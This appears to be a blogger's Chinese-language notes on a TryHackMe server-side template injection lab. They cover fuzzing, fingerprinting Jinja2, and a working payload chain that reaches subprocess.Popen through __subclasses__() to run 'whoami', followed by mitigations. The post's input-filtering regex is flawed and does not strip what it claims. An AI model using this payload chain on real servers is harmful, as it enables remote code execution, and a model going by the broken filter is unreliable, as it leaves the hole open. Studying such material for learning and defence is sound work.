【笔记】SSTI学习

【笔记】SSTI学习

原文章:尝试黑客攻击 |SSTI (tryhackme.com)

介绍

服务器端模板注入(SSTI)是一种web漏洞攻击,它利用模板引擎的不安全特性实现。

什么是模板引擎?

模板引擎允许您创建可以在应用程序中重复使用的静态模板文件。

这是什么意思?想象一个存储用户信息的页面。在Python的Flask中,代码可能看起来像这样: /profile/<user>

from flask import Flask, render_template_string	#Flask用于创建Flask应用程序的核心类,render_tmplate_string用于渲染字符串形式的模板
app = Flask(__name__)	#创建一个Flask应用实例,__name__用于确定应用的根路径

@app.route("/profile/<user>")	#使用 @app.route 装饰器定义一个路由,当访问 /profile/<user> 这个 URL 时,profile_page 函数会被调用,<user> 是一个动态参数。
def profile_page(user):	#定义视图函数
    template = f"<h1>Welcome to the profile of {user}!</h1>"

    return render_template_string(template)

app.run()	#启动Flask应用,默认在localhost:5000端口上运行

这段代码创建了一个模板字符串,并将用户输入连接到其中。这样,内容可以为每个用户动态加载,同时保持一致的页面格式。

注意:Flask是web框架,而Jinja2是模板引擎。

如何利用SSTI ?

思考上面的代码,特别是模板字符串。的变量(用户输入)直接连接到模板中,而不是作为数据传入。这意味着无论用户输入什么,引擎都会解释它——user

注意:模板引擎本身没有漏洞,而是开发人员的不安全实现。

SSTI的影响是什么?

顾名思义,SSTI是一个服务器端漏洞攻击程序,而不是像跨站脚本(XSS)这样的客户端漏洞攻击程序。

这意味着漏洞更加严重,因为被劫持的不是网站上的账户(XSS的常见用法),而是服务器。

这种可能性是无穷无尽的,但主要目标通常是获得远程代码执行。

部署!

部署与此实验室相关联的虚拟机,并跟随我们一起利用SSTI !

http://MACHINE_IP:5000

注意:端点 / 不存在,您将收到404错误。

检测

寻找注入点

漏洞攻击程序必须插入到某个地方,这被称为注入点(injection point)。

在应用程序中有一些地方可以查看,例如URL或输入框(确保检查隐藏的输入)。

在这个例子中,有一个存储用户信息的页面: http://MACHINE_IP:5000/profile/<user> ,它接受用户的输入。

我们可以通过提供预期的名称来找到预期的输出:

img

FUZZING

模糊测试(fuzz)是一种通过发送多个字符以干扰后端系统来确定服务器是否存在漏洞的技术。

这可以手动完成,也可以通过像BurpSuite的入侵者这样的应用程序完成。但是,出于教育目的,我们将查看手动过程。

幸运的是,大多数模板引擎将为它们的“特殊功能”使用类似的字符集,这使得它可以相对快速地检测它是否容易受到SSTI的攻击。

例如,以下字符在相当多的模板引擎中被使用: ${{<%[%'"}}%

要手动对所有这些字符进行模糊测试,可以逐个发送它们,让它们跟随其他字符发送。

模糊测试的过程如下所示:

img

img

继续这个过程,直到出现错误,或者某些字符开始从输出中消失。

问题:什么字符序列会导致应用程序引发错误?

我们按照文中的教程手动fuzz:

/${{

image-20241006165225554

直接报错,但是/${能够正常回显于是我们尝试:

/{{

image-20241006165307470

说明{{会导致应用程序引发错误

image-20241006165403957

识别

现在我们已经检测到导致应用程序出错的字符,是时候确定正在使用的模板引擎了。

在最好的情况下,错误消息将包含模板引擎,这标志着这一步完成!

然而,如果不是这样,我们可以使用决策树来帮助我们识别模板引擎:

image-20241006164156366

要跟踪决策树,从最左边开始,并在请求中包含该变量。根据输出跟随箭头:

  • 绿色箭头:被计算的表达式(即49)。
  • 红色箭头——表达式显示在输出中(即${7*7})

在我们的例子中,整个过程如下所示:

img

应用程序回显了用户的输入,所以我们按照红色箭头操作:

img

应用程序计算了用户输入,所以我们沿着绿色箭头操作。

继续这个过程,直到到达决策树的末尾。

问题:这个应用程序中使用了什么模板引擎?

我们按照文章的思路继续做,沿着绿色箭头操作我们接着注入:

/{{7*'7'}}

image-20241006165717643

按照绿色箭头,说明此应用程序中使用了jinja2模板引擎

语法

确定模板引擎后,我们现在需要学习它的语法。

还有什么比官方文档更适合学习的呢?

无论使用哪种语言或模板引擎,请始终查找以下内容:

  • 如何启动print语句
  • 如何结束print语句
  • 如何启动块语句
  • 如何结束块语句

在我们的示例中,文档指出以下内容:

  • {{- 用于标记 print 语句的开始
  • }}- 用于标记 print 语句的结尾
  • {%- 用于标记块语句的开头
  • %}- 用于标记 block 语句的结尾

问题:你如何在 Jinja2 中开始注释?

我们去查询文档搜索关键词:

image-20241006170034232

开始注释的符号为{#

利用

至此,我们知道了:

  • 应用程序易受SSTI影响
  • 注入点
  • 模板引擎
  • 模板引擎语法

计划

让我们首先计划一下如何利用这个漏洞。

由于Jinja2是一个基于Python的模板引擎,我们将介绍如何在Python中运行shell命令。来一次快速的谷歌搜索就能出现一个博客,详细介绍了运行shell命令的不同方法。我将重点介绍其中的一些:

# Method 1
import os
os.system("whoami")

# Method 2
import os
os.popen("whoami").read()

# Method 3
import subprocess
subprocess.Popen("whoami", shell=True, stdout=-1).communicate()

结合所有这些知识,我们能够构建概念证明(POC)。

下面的有效载荷(payload)使用我们从上一章节中获得的语法,以及上面的shell,并将它们合并为模板引擎可以接受的内容

注意:Jinja2本质上是Python的一个子语言,它没有集成import语句,所以上面的代码不起作用。

构思概念验证(Jinja2)

Python允许我们用。__class__来调用当前类的实例,可以用空字符串来调用:

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__ }}

Python中的类有一个名为__mro__的属性,它允许我们沿着继承的对象树向上爬:

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}

因为我们想要根对象,我们可以访问第二个属性(第一个索引):

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}

Python中的对象有一个名为__subclassess__的方法,它允许我们沿着对象树向下爬:

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}

现在我们需要找到一个可以运行shell命令的对象。对上面代码中的模块按Ctrl-F搜索,可以得到一个匹配项:

img

由于整个输出只是一个Python列表,因此我们可以使用索引来访问它。要找到它,可以反复试验,也可以数它在列表中的位置。

在这个例子中,元素在列表中的位置是400(索引401):

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}

上面的有效载荷本质上调用了子进程。Popen方法,现在我们要做的就是调用它(使用上面的代码语法)

payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

找到有效载荷

第一次构建有效载荷的过程需要一段时间,但理解它的工作原理很重要。

为了快速参考,我们创建了一个很棒的GitHub仓库,其中包含所有web漏洞(包括SSTI)的有效载荷备忘录。

仓库位于 这里,而SSTI的文档位于[这里](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection)。

问题:“whoami”shell命令的结果是什么?

我们注入上文的payload

image-20241006183111798

检查

现在我们已经对应用程序进行了漏洞攻击,让我们看看当有效载荷被注入时实际发生了什么。

我们使用的代码与介绍中的相同:

from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/<user>")
def profile_page(user):
    template = f"<h1>Welcome to the profile of {user}!</h1>"

    return render_template_string(template)

app.run()

让我们把这想象成一个简单的查找和替换。

参考下面的代码来了解它是如何工作的:

# Raw code
template = f"<h1>Welcome to the profile of {user}!</h1>"

# Code after injecting: TryHackMe
template = f"<h1>Welcome to the profile of TryHackMe!</h1>"

# Code after injecting: {{ 7 * 7 }}
template = f"<h2>Welcome to the profile of {{ 7 * 7 }}!</h1>"

我们在前面学过,Jinja2会计算这两组字符之间的代码,这也是这个漏洞攻击程序能够成功的原因。

修复

所有这些黑客攻击都引出了一个问题,首先我们可以做些什么来防止这种情况发生?

使用安全的方法

大多数模板引擎都有一个功能,允许您将输入作为数据传入,而不是将输入连接到模板中。

在 Jinja2 中,可以使用第二个参数:

# Insecure: Concatenating input
template = f"<h1>Welcome to the profile of {user}!</h1>"
return render_template_string(template)

# Secure: Passing input as data
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)

封锁

用户输入不可信!!!

在你的应用程序中,每个允许用户添加自定义内容的地方,都要确保输入的内容是经过过滤的!

这可以通过首先规划你想要允许的字符集,并将它们添加到白名单来实现。

在 Python 中,可以这样完成:

import re

# Remove everything that isn't alphanumeric
user = re.sub("^[A-Za-z0-9]", "", user)
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)

最重要的是,请记住要阅读您正在使用的模板引擎的文档。

案例研究

HackerOne漏洞赏金2016年3月,一名用户报告Uber的一个子域名存在SSTI漏洞。

该漏洞存在于允许用户更改其配置文件名称的表单中。就像在例子中一样,用户可以控制输入,然后输入会被反馈给用户(通过电子邮件)。

虽然用户无法获得远程代码执行,漏洞仍然存在,他们被奖励了1万美元的奖金!

点击这里阅读报告

看完了再看看这个以提升SSTI 注入 - Hello CTF (hello-ctf.com)

posted @ 2024-10-06 18:54  Super_Snow_Sword  阅读(23)  评论(0编辑  收藏  举报